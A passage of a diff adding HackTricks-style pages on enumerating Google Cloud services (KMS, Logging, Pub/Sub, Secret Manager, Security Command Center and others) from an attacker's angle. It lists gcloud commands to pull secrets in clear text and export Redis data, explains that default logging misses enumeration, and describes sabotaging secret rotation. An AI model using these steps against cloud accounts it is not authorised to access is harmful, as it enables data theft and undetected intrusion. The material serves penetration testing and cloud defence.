- **Symmetric encryption/decryption**: Used to **encrypt and decrypt data using a single key for both operations**. Symmetric keys are fast and efficient for encrypting and decrypting large volumes of data.
|
||||
- **Supported**: [cryptoKeys.encrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/encrypt), [cryptoKeys.decrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/decrypt)
|
||||
- **Asymmetric Signing**: Used for secure communication between two parties without sharing the key. Asymmetric keys come in a pair, consisting of a **public key and a private key**. The public key is shared with others, while the private key is kept secret.
|
||||
- **Supported:** [cryptoKeyVersions.asymmetricSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricSign), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
|
||||
- **Asymmetric Decryption**: Used to verify the authenticity of a message or data. A digital signature is created using a private key and can be verified using the corresponding public key.
|
||||
- **Supported:** [cryptoKeyVersions.asymmetricDecrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricDecrypt), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
|
||||
- **MAC Signing**: Used to ensure **data integrity and authenticity by creating a message authentication code (MAC) using a secret key**. HMAC is commonly used for message authentication in network protocols and software applications.
|
||||
- **Supported:** [cryptoKeyVersions.macSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macSign), [cryptoKeyVersions.macVerify](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macVerify)
|
||||
|
||||
### Rotation Period & Programmed for destruction period
|
||||
|
||||
By **default**, each **90 days** but it can be **easily** and **completely customized.**
|
||||
|
||||
The "Programmed for destruction" period is the **time since the user ask for deleting the key** and until the key is **deleted**. It cannot be changed after the key is created (default 1 day).
|
||||
|
||||
### Primary Version
|
||||
|
||||
Each KMS key can have several versions, one of them must be the **default** one, this will be the one used when a **version is not specified when interacting with the KMs key**.
|
||||
|
||||
### Enumeration
|
||||
|
||||
Having **permissions to list the keys** this is how you can access them:
|
||||
|
||||
```bash
|
||||
# List the global keyrings available
|
||||
gcloud kms keyrings list --location global
|
||||
gcloud kms keyrings get-iam-policy <KEYRING>
|
||||
|
||||
# List the keys inside a keyring
|
||||
gcloud kms keys list --keyring <KEYRING> --location <global/other_locations>
|
||||
gcloud kms keys get-iam-policy <KEY>
|
||||
|
||||
# Encrypt a file using one of your keys
|
||||
gcloud kms encrypt --ciphertext-file=[INFILE] \
|
||||
--plaintext-file=[OUTFILE] \
|
||||
--key [KEY] \
|
||||
--keyring [KEYRING] \
|
||||
--location global
|
||||
|
||||
# Decrypt a file using one of your keys
|
||||
gcloud kms decrypt --ciphertext-file=[INFILE] \
|
||||
--plaintext-file=[OUTFILE] \
|
||||
--key [KEY] \
|
||||
--keyring [KEYRING] \
|
||||
--location global
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-kms-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-kms-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,146 @@
|
||||
# GCP - Logging Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
This service allows users to store, search, analyze, monitor, and alert on **log data and events** from GCP.
|
||||
|
||||
Cloud Logging is fully integrated with other GCP services, providing a centralized repository for logs from all your GCP resources. It **automatically collects logs from various GCP services** like App Engine, Compute Engine, and Cloud Functions. You can also use Cloud Logging for applications running on-premises or in other clouds by using the Cloud Logging agent or API.
|
||||
|
||||
Key Features:
|
||||
|
||||
- **Log Data Centralization:** Aggregate log data from various sources, offering a holistic view of your applications and infrastructure.
|
||||
- **Real-time Log Management:** Stream logs in real time for immediate analysis and response.
|
||||
- **Powerful Data Analysis:** Use advanced filtering and search capabilities to sift through large volumes of log data quickly.
|
||||
- **Integration with BigQuery:** Export logs to BigQuery for detailed analysis and querying.
|
||||
- **Log-based Metrics:** Create custom metrics from your log data for monitoring and alerting.
|
||||
|
||||
### Logs flow
|
||||
|
||||
<figure><img src="../../../images/image (3) (1) (1).png" alt=""><figcaption><p><a href="https://betterstack.com/community/guides/logging/gcp-logging/">https://betterstack.com/community/guides/logging/gcp-logging/</a></p></figcaption></figure>
|
||||
|
||||
Basically the sinks and log based metrics will device where a log should be stored.
|
||||
|
||||
### Configurations Supported by GCP Logging
|
||||
|
||||
Cloud Logging is highly configurable to suit diverse operational needs:
|
||||
|
||||
1. **Log Buckets (Logs storage in the web):** Define buckets in Cloud Logging to manage **log retention**, providing control over how long your log entries are retained.
|
||||
- By default the buckets `_Default` and `_Required` are created (one is logging what the other isn’t).
|
||||
- **\_Required** is:
|
||||
|
||||
````
|
||||
```bash
|
||||
LOG_ID("cloudaudit.googleapis.com/activity") OR LOG_ID("externalaudit.googleapis.com/activity") OR LOG_ID("cloudaudit.googleapis.com/system_event") OR LOG_ID("externalaudit.googleapis.com/system_event") OR LOG_ID("cloudaudit.googleapis.com/access_transparency") OR LOG_ID("externalaudit.googleapis.com/access_transparency")
|
||||
```
|
||||
|
||||
````
|
||||
|
||||
- **Retention period** of the data is configured per bucket and must be **at least 1 day.** However the **retention period of \_Required is 400 days** and cannot be modified.
|
||||
- Note that Log Buckets are **not visible in Cloud Storage.**
|
||||
|
||||
2. **Log Sinks (Log router in the web):** Create sinks to **export log entries** to various destinations such as Pub/Sub, BigQuery, or Cloud Storage based on a **filter**.
|
||||
- By **default** sinks for the buckets `_Default` and `_Required` are created:
|
||||
- ```bash
|
||||
_Required logging.googleapis.com/projects/<proj-name>/locations/global/buckets/_Required LOG_ID("cloudaudit.googleapis.com/activity") OR LOG_ID("externalaudit.googleapis.com/activity") OR LOG_ID("cloudaudit.googleapis.com/system_event") OR LOG_ID("externalaudit.googleapis.com/system_event") OR LOG_ID("cloudaudit.googleapis.com/access_transparency") OR LOG_ID("externalaudit.googleapis.com/access_transparency")
|
||||
_Default logging.googleapis.com/projects/<proj-name>/locations/global/buckets/_Default NOT LOG_ID("cloudaudit.googleapis.com/activity") AND NOT LOG_ID("externalaudit.googleapis.com/activity") AND NOT LOG_ID("cloudaudit.googleapis.com/system_event") AND NOT LOG_ID("externalaudit.googleapis.com/system_event") AND NOT LOG_ID("cloudaudit.googleapis.com/access_transparency") AND NOT LOG_ID("externalaudit.googleapis.com/access_transparency")
|
||||
```
|
||||
- **Exclusion Filters:** It's possible to set up **exclusions to prevent specific log entries** from being ingested, saving costs, and reducing unnecessary noise.
|
||||
3. **Log-based Metrics:** Configure **custom metrics** based on the content of logs, allowing for alerting and monitoring based on log data.
|
||||
4. **Log views:** Log views give advanced and **granular control over who has access** to the logs within your log buckets.
|
||||
- Cloud Logging **automatically creates the `_AllLogs` view for every bucket**, which shows all logs. Cloud Logging also creates a view for the `_Default` bucket called `_Default`. The `_Default` view for the `_Default` bucket shows all logs except Data Access audit logs. The `_AllLogs` and `_Default` views are not editable.
|
||||
|
||||
It's possible to allow a principal **only to use a specific Log view** with an IAM policy like:
|
||||
|
||||
```json
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"members": ["user:username@gmail.com"],
|
||||
"role": "roles/logging.viewAccessor",
|
||||
"condition": {
|
||||
"title": "Bucket reader condition example",
|
||||
"description": "Grants logging.viewAccessor role to user username@gmail.com for the VIEW_ID log view.",
|
||||
"expression": "resource.name == \"projects/PROJECT_ID/locations/LOCATION/buckets/BUCKET_NAME/views/VIEW_ID\""
|
||||
}
|
||||
}
|
||||
],
|
||||
"etag": "BwWd_6eERR4=",
|
||||
"version": 3
|
||||
}
|
||||
```
|
||||
|
||||
### Default Logs
|
||||
|
||||
By default **Admin Write** operations (also called Admin Activity audit logs) are the ones logged (write metadata or configuration information) and **can't be disabled**.
|
||||
|
||||
Then, the user can enable **Data Access audit logs**, these are **Admin Read, Data Write and Data Write**.
|
||||
|
||||
You can find more info about each type of log in the docs: [https://cloud.google.com/iam/docs/audit-logging](https://cloud.google.com/iam/docs/audit-logging)
|
||||
|
||||
However, note that this means that by default **`GetIamPolicy`** actions and other read actions are **not being logged**. So, by default an attacker trying to enumerate the environment won't be caught if the sysadmin didn't configure to generate more logs.
|
||||
|
||||
To enable more logs in the console the sysadmin needs to go to [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) and enable them. There are 2 different options:
|
||||
|
||||
- **Default Configuration**: It's possible to create a default configuration and log all the Admin Read and/or Data Read and/or Data Write logs and even add exempted principals:
|
||||
|
||||
<figure><img src="../../../images/image (338).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Select the services**: Or just **select the services** you would like to generate logs and the type of logs and the excepted principal for that specific service.
|
||||
|
||||
Also note that by default only those logs are being generated because generating more logs will increase the costs.
|
||||
|
||||
### Enumeration
|
||||
|
||||
The `gcloud` command-line tool is an integral part of the GCP ecosystem, allowing you to manage your resources and services. Here's how you can use `gcloud` to manage your logging configurations and access logs.
|
||||
|
||||
```bash
|
||||
# List buckets
|
||||
gcloud logging buckets list
|
||||
gcloud logging buckets describe <bucket-name> --location <location>
|
||||
|
||||
# List log entries: only logs that contain log entries are listed.
|
||||
gcloud logging logs list
|
||||
|
||||
# Get log metrics
|
||||
gcloud logging metrics list
|
||||
gcloud logging metrics describe <metric-name>
|
||||
|
||||
# Get log sinks
|
||||
gcloud logging sinks list
|
||||
gcloud logging sinks describe <sink-name>
|
||||
|
||||
# Get log views
|
||||
gcloud logging views list --bucket <bucket> --location global
|
||||
gcloud logging views describe --bucket <bucket> --location global <view-id> # view-id is usually the same as the bucket name
|
||||
|
||||
# Get log links
|
||||
gcloud logging links list --bucket _Default --location global
|
||||
gcloud logging links describe <link-id> --bucket _Default --location global
|
||||
```
|
||||
|
||||
Example to check the logs of **`cloudresourcemanager`** (the one used to BF permissions): [https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2\&project=digital-bonfire-410512](https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2&project=digital-bonfire-410512)
|
||||
|
||||
There aren't logs of **`testIamPermissions`**:
|
||||
|
||||
<figure><img src="../../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-logging-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-logging-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://cloud.google.com/logging/docs/logs-views#gcloud](https://cloud.google.com/logging/docs/logs-views#gcloud)
|
||||
- [https://betterstack.com/community/guides/logging/gcp-logging/](https://betterstack.com/community/guides/logging/gcp-logging/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,21 @@
|
||||
# GCP - Memorystore Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Memorystore
|
||||
|
||||
Reduce latency with scalable, secure, and highly available in-memory service for [**Redis**](https://cloud.google.com/sdk/gcloud/reference/redis) and [**Memcached**](https://cloud.google.com/sdk/gcloud/reference/memcache). Learn more.
|
||||
|
||||
```bash
|
||||
# Memcache
|
||||
gcloud memcache instances list --region <region>
|
||||
gcloud memcache instances describe <INSTANCE> --region <region>
|
||||
# You should try to connect to the memcache instances to access the data
|
||||
|
||||
# Redis
|
||||
gcloud redis instances list --region <region>
|
||||
gcloud redis instances describe <INSTACE> --region <region>
|
||||
gcloud redis instances export gs://my-bucket/my-redis-instance.rdb my-redis-instance --region=us-central1
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,57 @@
|
||||
# GCP - Monitoring Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud Monitoring offers a suite of tools to **monitor**, troubleshoot, and improve the performance of your cloud resources. From a security perspective, Cloud Monitoring provides several features that are crucial for maintaining the security and compliance of your cloud environment:
|
||||
|
||||
### Policies
|
||||
|
||||
Policies **define conditions under which alerts are triggered and how notifications are sent**. They allow you to monitor specific metrics or logs, set thresholds, and determine where and how to send alerts (like email or SMS).
|
||||
|
||||
### Dashboards
|
||||
|
||||
Monitoring Dashboards in GCP are customizable interfaces for visualizing the **performance and status of cloud resources**. They offer real-time insights through charts and graphs, aiding in efficient system management and issue resolution.
|
||||
|
||||
### Channels
|
||||
|
||||
Different **channels** can be configured to **send alerts** through various methods, including **email**, **SMS**, **Slack**, and more.
|
||||
|
||||
Moreover, when an alerting policy is created in Cloud Monitoring, it's possible to **specify one or more notification channels**.
|
||||
|
||||
### Snoozers
|
||||
|
||||
A snoozer will **prevent the indicated alert policies to generate alerts or send notifications** during the indicated snoozing period. Additionally, when a snooze is applied to a **metric-based alerting policy**, Monitoring proceeds to **resolve any open incidents** that are linked to that specific policy.
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Get policies
|
||||
gcloud alpha monitoring policies list
|
||||
gcloud alpha monitoring policies describe <policy>
|
||||
|
||||
# Get dashboards
|
||||
gcloud monitoring dashboards list
|
||||
gcloud monitoring dashboards describe <dashboard>
|
||||
|
||||
# Get snoozers
|
||||
gcloud monitoring snoozes list
|
||||
gcloud monitoring snoozes describe <snoozer>
|
||||
|
||||
# Get Channels
|
||||
gcloud alpha monitoring channels list
|
||||
gcloud alpha monitoring channels describe <channel>
|
||||
```
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-monitoring-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://cloud.google.com/monitoring/alerts/manage-snooze#gcloud-cli](https://cloud.google.com/monitoring/alerts/manage-snooze#gcloud-cli)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,94 @@
|
||||
# GCP - Pub/Sub Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pub/Sub <a href="#reviewing-cloud-pubsub" id="reviewing-cloud-pubsub"></a>
|
||||
|
||||
[Google **Cloud Pub/Sub**](https://cloud.google.com/pubsub/) is described as a service facilitating message exchange between independent applications. The core components include **topics**, to which applications can **subscribe**. Subscribed applications have the capability to **send and receive messages**. Each message comprises the actual content along with associated metadata.
|
||||
|
||||
The **topic is the queue** where messages are going to be sent, while the **subscriptions** are the **objects** users are going to use to **access messages in the topics**. There can be more than **1 subscription per topic** and there are 4 types of subscriptions:
|
||||
|
||||
- **Pull**: The user(s) of this subscription needs to pull for messages.
|
||||
- **Push**: An URL endpoint is indicated and messages will be sent immediately to it.
|
||||
- **Big query table**: Like push but setting the messages inside a Big query table.
|
||||
- **Cloud Storage**: Deliver messages directly to an existing bucket.
|
||||
|
||||
By **default** a **subscription expires after 31 days**, although it can be set to never expire.
|
||||
|
||||
By **default**, a message is **retained for 7 days**, but this time can be **increased up to 31 days**. Also, if it's not **ACKed in 10s** it goes back to the queue. It can also be set that ACKed messages should continue to be stored.
|
||||
|
||||
A topic is by default encrypted using a **Google managed encryption key**. But a **CMEK** (Customer Managed Encryption Key) from KMS can also be selected.
|
||||
|
||||
**Dead letter**: Subscriptions may configure a **maximum number of delivery attempts**. When a message cannot be delivered, it is **republished to the specified dead letter topic**.
|
||||
|
||||
### Snapshots & Schemas
|
||||
|
||||
A snapshot is a feature that **captures the state of a subscription at a specific point in time**. It is essentially a consistent **backup of the unacknowledged messages in a subscription**. By creating a snapshot, you preserve the message acknowledgment state of the subscription, allowing you to resume message consumption from the point the snapshot was taken, even after the original messages would have been otherwise deleted.\
|
||||
If you are very lucky a snapshot could contain **old sensitive information** from when the snapshot was taken.
|
||||
|
||||
When creating a topic, you can indicate that the **topic messages must follow a schema**.
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Get a list of topics in the project
|
||||
gcloud pubsub topics list
|
||||
gcloud pubsub topics describe <topic>
|
||||
gcloud pubsub topics list-subscriptions <topic>
|
||||
gcloud pubsub topics get-iam-policy <topic>
|
||||
|
||||
# Get a list of subscriptions across all topics
|
||||
gcloud pubsub subscriptions list
|
||||
gcloud pubsub subscriptions describe <subscription>
|
||||
gcloud pubsub subscriptions get-iam-policy <subscription>
|
||||
|
||||
# Get list of schemas
|
||||
gcloud pubsub schemas list
|
||||
gcloud pubsub schemas describe <schema>
|
||||
gcloud pubsub schemas list-revisions <schema>
|
||||
|
||||
# Get list of snapshots
|
||||
gcloud pubsub snapshots list
|
||||
gcloud pubsub snapshots describe <snapshot>
|
||||
```
|
||||
|
||||
However, you may have better results [**asking for a larger set of data**](https://cloud.google.com/pubsub/docs/replay-overview), including older messages. This has some prerequisites and could impact applications, so make sure you really know what you're doing.
|
||||
|
||||
### Privilege Escalation & Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Pub/Sub Lite
|
||||
|
||||
[**Pub/Sub Lite**](https://cloud.google.com/pubsub/docs/choosing-pubsub-or-lite) is a messaging service with **zonal storage**. Pub/Sub Lite **costs a fraction** of Pub/Sub and is meant for **high volume streaming** (up to 10 million messages per second) pipelines and event-driven system where low cost is the primary consideration.
|
||||
|
||||
In PubSub Lite there **are** **topics** and **subscriptions**, there **aren't snapshots** and **schemas** and there are:
|
||||
|
||||
- **Reservations**: Pub/Sub Lite Reservations is a feature that allows users to reserve capacity in a specific region for their message streams.
|
||||
- **Operations**: Refers to the actions and tasks involved in managing and administering Pub/Sub Lite.
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# lite-topics
|
||||
gcloud pubsub lite-topics list
|
||||
gcloud pubsub lite-topics describe <topic>
|
||||
gcloud pubsub lite-topics list-subscriptions <topic>
|
||||
|
||||
# lite-subscriptions
|
||||
gcloud pubsub lite-subscriptions list
|
||||
gcloud pubsub lite-subscriptions describe <subscription>
|
||||
|
||||
# lite-reservations
|
||||
gcloud pubsub lite-reservations list
|
||||
gcloud pubsub lite-reservations describe <topic>
|
||||
gcloud pubsub lite-reservations list-topics <topic>
|
||||
|
||||
# lite-operations
|
||||
gcloud pubsub lite-operations list
|
||||
gcloud pubsub lite-operations describe <topic>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,53 @@
|
||||
# GCP - Secrets Manager Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secret Manager
|
||||
|
||||
Google [**Secret Manager**](https://cloud.google.com/solutions/secrets-management/) is a vault-like solution for storing passwords, API keys, certificates, files (max 64KB) and other sensitive data.
|
||||
|
||||
A secret can have **different versions storing different data**.
|
||||
|
||||
Secrets by **default** are **encrypted using a Google managed key**, but it's **possible to select a key from KMS** to use to encrypt the secret.
|
||||
|
||||
Regarding **rotation**, it's possible to configure **messages to be sent to pub-sub every number of days**, the code listening to those messages can **rotate the secret**.
|
||||
|
||||
It's possible to configure a day for **automatic deletion**, when the indicated day is **reached**, the **secret will be automatically deleted**.
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# First, list the entries
|
||||
gcloud secrets list
|
||||
gcloud secrets get-iam-policy <secret_name>
|
||||
|
||||
# Then, pull the clear-text of any version of any secret
|
||||
gcloud secrets versions list <secret_name>
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
In the following page you can check how to **abuse secretmanager permissions to escalate privileges.**
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-secretmanager-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-secret-manager-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Rotation misuse
|
||||
|
||||
An attacker could update the secret to **stop rotations** (so it won't be modified), or **make rotations much less often** (so the secret won't be modified) or to **publish the rotation message to a different pub/sub**, or modifying the rotation code being executed (this happens in a different service, probably in a Clound Function, so the attacker will need privileged access over the Cloud Function or any other service)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,92 @@
|
||||
# GCP - Security Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud Platform (GCP) Security encompasses a **comprehensive suite of tools** and practices designed to ensure the **security** of resources and data within the Google Cloud environment, divided into four main sections: **Security Command Center, Detections and Controls, Data Protection and Zero Turst.**
|
||||
|
||||
## **Security Command Center**
|
||||
|
||||
The Google Cloud Platform (GCP) Security Command Center (SCC) is a **security and risk management tool for GCP** resources that enables organizations to gain visibility into and control over their cloud assets. It helps **detect and respond to threats** by offering comprehensive security analytics, **identifying misconfigurations**, ensuring **compliance** with security standards, and **integrating** with other security tools for automated threat detection and response.
|
||||
|
||||
- **Overview**: Panel to **visualize an overview** of all the result of the Security Command Center.
|
||||
- Threats: \[Premium Required] Panel to visualize all the **detected threats. Check more about Threats below**
|
||||
- **Vulnerabilities**: Panel to **visualize found misconfigurations in the GCP account**.
|
||||
- **Compliance**: \[Premium required] This section allows to **test your GCP environment against several compliance checks** (such as PCI-DSS, NIST 800-53, CIS benchmarks...) over the organization.
|
||||
- **Assets**: This section **shows all the assets being used**, very useful for sysadmins (and maybe attacker) to see what is running in a single page.
|
||||
- **Findings**: This **aggregates** in a **table findings** of different sections of GCP Security (not only Command Center) to be able to visualize easily findings that matters.
|
||||
- **Sources**: Shows a **summary of findings** of all the different sections of GCP security **by sectio**n.
|
||||
- **Posture**: \[Premium Required] Security Posture allows to **define, assess, and monitor the security of the GCP environment**. It works by creating policy that defines constraints or restrictions that controls/monitor the resources in GCP. There are several pre-defined posture templates that can be found in [https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy](https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy)
|
||||
|
||||
### **Threats**
|
||||
|
||||
From the perspective of an attacker, this is probably the **most interesting feature as it could detect the attacker**. However, note that this feature requires **Premium** (which means that the company will need to pay more), so it **might not be even enabled**.
|
||||
|
||||
There are 3 types of threat detection mechanisms:
|
||||
|
||||
- **Event Threats**: Findings produced by matching events from **Cloud Logging** based on **rules created** internally by Google. It can also scan **Google Workspace logs**.
|
||||
- It's possible to find the description of all the [**detection rules in the docs**](https://cloud.google.com/security-command-center/docs/concepts-event-threat-detection-overview?authuser=2#how_works)
|
||||
- **Container Threats**: Findings produced after analyzing low-level behavior of the kernel of containers.
|
||||
- **Custom Threats**: Rules created by the company.
|
||||
|
||||
It's possible to find recommended responses to detected threats of both types in [https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response](https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response)
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Get a source
|
||||
gcloud scc sources describe <org-number> --source=5678
|
||||
## If the response is that the service is disabled or that the source is not found, then, it isn't enabled
|
||||
|
||||
# Get notifications
|
||||
gcloud scc notifications list <org-number>
|
||||
|
||||
# Get findings (if not premium these are just vulnerabilities)
|
||||
gcloud scc findings list <org-number>
|
||||
```
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-security-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Detections and Controls
|
||||
|
||||
- **Chronicle SecOps**: An advanced security operations suite designed to help teams increase their speed and impact of security operations, including threat detection, investigation, and response.
|
||||
- **reCAPTCHA Enterprise**: A service that protects websites from fraudulent activities like scraping, credential stuffing, and automated attacks by distinguishing between human users and bots.
|
||||
- **Web Security Scanner**: Automated security scanning tool that detects vulnerabilities and common security issues in web applications hosted on Google Cloud or another web service.
|
||||
- **Risk Manager**: A governance, risk, and compliance (GRC) tool that helps organizations assess, document, and understand their Google Cloud risk posture.
|
||||
- **Binary Authorization**: A security control for containers that ensures only trusted container images are deployed on Kubernetes Engine clusters according to policies set by the enterprise.
|
||||
- **Advisory Notifications**: A service that provides alerts and advisories about potential security issues, vulnerabilities, and recommended actions to keep resources secure.
|
||||
- **Access Approval**: A feature that allows organizations to require explicit approval before Google employees can access their data or configurations, providing an additional layer of control and auditability.
|
||||
- **Managed Microsoft AD**: A service offering managed Microsoft Active Directory (AD) that allows users to use their existing Microsoft AD-dependent apps and workloads on Google Cloud.
|
||||
|
||||
## Data Protection
|
||||
|
||||
- **Sensitive Data Protection**: Tools and practices aimed at safeguarding sensitive data, such as personal information or intellectual property, against unauthorized access or exposure.
|
||||
- **Data Loss Prevention (DLP)**: A set of tools and processes used to identify, monitor, and protect data in use, in motion, and at rest through deep content inspection and by applying a comprehensive set of data protection rules.
|
||||
- **Certificate Authority Service**: A scalable and secure service that simplifies and automates the management, deployment, and renewal of SSL/TLS certificates for internal and external services.
|
||||
- **Key Management**: A cloud-based service that allows you to manage cryptographic keys for your applications, including the creation, import, rotation, use, and destruction of encryption keys. More info in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
- **Certificate Manager**: A service that manages and deploys SSL/TLS certificates, ensuring secure and encrypted connections to your web services and applications.
|
||||
- **Secret Manager**: A secure and convenient storage system for API keys, passwords, certificates, and other sensitive data, which allows for the easy and secure access and management of these secrets in applications. More info in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Zero Trust
|
||||
|
||||
- **BeyondCorp Enterprise**: A zero-trust security platform that enables secure access to internal applications without the need for a traditional VPN, by relying on verification of user and device trust before granting access.
|
||||
- **Policy Troubleshooter**: A tool designed to help administrators understand and resolve access issues in their organization by identifying why a user has access to certain resources or why access was denied, thereby aiding in the enforcement of zero-trust policies.
|
||||
- **Identity-Aware Proxy (IAP)**: A service that controls access to cloud applications and VMs running on Google Cloud, on-premises, or other clouds, based on the identity and the context of the request rather than by the network from which the request originates.
|
||||
- **VPC Service Controls**: Security perimeters that provide additional layers of protection to resources and services hosted in Google Cloud's Virtual Private Cloud (VPC), preventing data exfiltration and providing granular access control.
|
||||
- **Access Context Manager**: Part of Google Cloud's BeyondCorp Enterprise, this tool helps define and enforce fine-grained access control policies based on a user's identity and the context of their request, such as device security status, IP address, and more.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user